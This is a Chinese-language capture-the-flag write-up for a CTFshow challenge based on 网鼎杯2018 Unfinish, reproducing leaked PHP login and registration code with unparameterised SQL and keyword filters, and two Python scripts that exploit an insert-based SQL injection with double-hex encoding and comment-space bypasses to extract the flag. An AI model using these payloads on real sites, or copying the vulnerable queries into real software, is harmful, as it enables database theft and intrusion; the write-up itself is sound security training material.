CTFSHOW那个是根据[网鼎杯2018]Unfinish改编的,有个源码泄露友好些吧,然后过滤的东西不一样,然后感觉不错就总结下 然后扫目录的时候有源码泄露www.zip,下载后读下代码
user.php
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];
if (is_numeric($username))
{
if(strlen($username)>10) {
$username=substr($username,0,10);
}
echo "Hello $username,there's nothing here but dog food!";
}
else{
echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>
login.php
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
if($row){
$_SESSION['u']=$row['username'];
header('location:user.php');
}
else {
echo "<script>alert('Wrong username or password')</script>";
}
}
}
?>
register.php
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
echo "<script>alert('bad hacker!')</script>";
die();
}
else{
return true;
}
}
include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1
set email = '$e',
username = '$u',
password = '$p'
";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>
然后利用点就是register.php中的"insert into test1 set email = '$e', username = '$u', password = '$p' "; insert注入,通过控制username的值,然后再user.php看到回显,从而得到我们想要的信息
但是这里就有问题了
问题一
register.php的username要求只能输入长度小于10的数字,这个只是网页加的一个正则,用bp和写脚本都不影响,差不多就不用管,就像网页限制你输入长度(直接改网页代码一回事)
问题二 但是第二个点就不行了,就是用username来回显,是用php代码限制的,然后我们想的是用hex把我们查询的结果转化位数字来回显 这样’test’字符串的十六进制就会成功显示出来 然后还有问题 flag的十六进制里存在字母。如果让它和’0’相加的话: 会存在截断的问题,所以我们应该二次hex来使结果都是数字:
问题三 然后写个脚本,有个细节就是账号不能一直用一个,不然回显还是 是第一次payload的回显,并不会改变,所以我们的邮箱也要不断的变
re.findall(pattern, string, flags=0) 返回string中所有与pattern匹配的全部字符串,返回形式为数组。 有括号,就只保留括号里的内容
问题四 还有个东西就是mysql里substr函数是从1开始的,php里substr函数是从0开始的,把我坑了下。。。。
import requests
import re
url_l="http://c24cd90e-b5ba-4d92-8274-c845686f6308.challenge.ctf.show:8080/login.php"
url_r="http://c24cd90e-b5ba-4d92-8274-c845686f6308.challenge.ctf.show:8080/register.php"
flag=""
for i in range(1,100):
payload="0'+substr(hex(hex((select/**/*/**/from/**/flag))),({}-1)*10+1,10)+'0".format(i)
emil="{}@8".format(i)
data={
"e":emil,
"u":payload,
"p":1
}
data1={
"e":emil,
"p":1
}
requests.post(url_r,data=data)
r=requests.post(url_l,data=data1)
flag+=re.findall("Hello (.*),",r.text)[0]
print(flag)
然后再放个buu那个题的脚本 \s是指空白,包括空格、换行、tab缩进等所有的空白,而\S刚好相反
import requests
import re
import time
url_l="http://6772ecff-a7f0-4f10-bdba-2270cf8a8bee.node4.buuoj.cn/login.php"
url_r="http://6772ecff-a7f0-4f10-bdba-2270cf8a8bee.node4.buuoj.cn/register.php"
flag=""
for i in range(1,20):
payload="0'+substr(hex(hex((select/**/*/**/from/**/flag)))from ({}-1)*10+1 for 10)+'0".format(i)
eamil="{}@3".format(i)
data={
"email":eamil,
"username":payload,
"password":1
}
data1={
"email":eamil,
"password":1
}
time.sleep(0.5)
requests.post(url_r,data=data)
time.sleep(0.5)
r=requests.post(url_l,data=data1)
flag+=re.findall('<span class="user-name">\s*(.*?)\s*</span>',r.text)[0]
print(flag)
|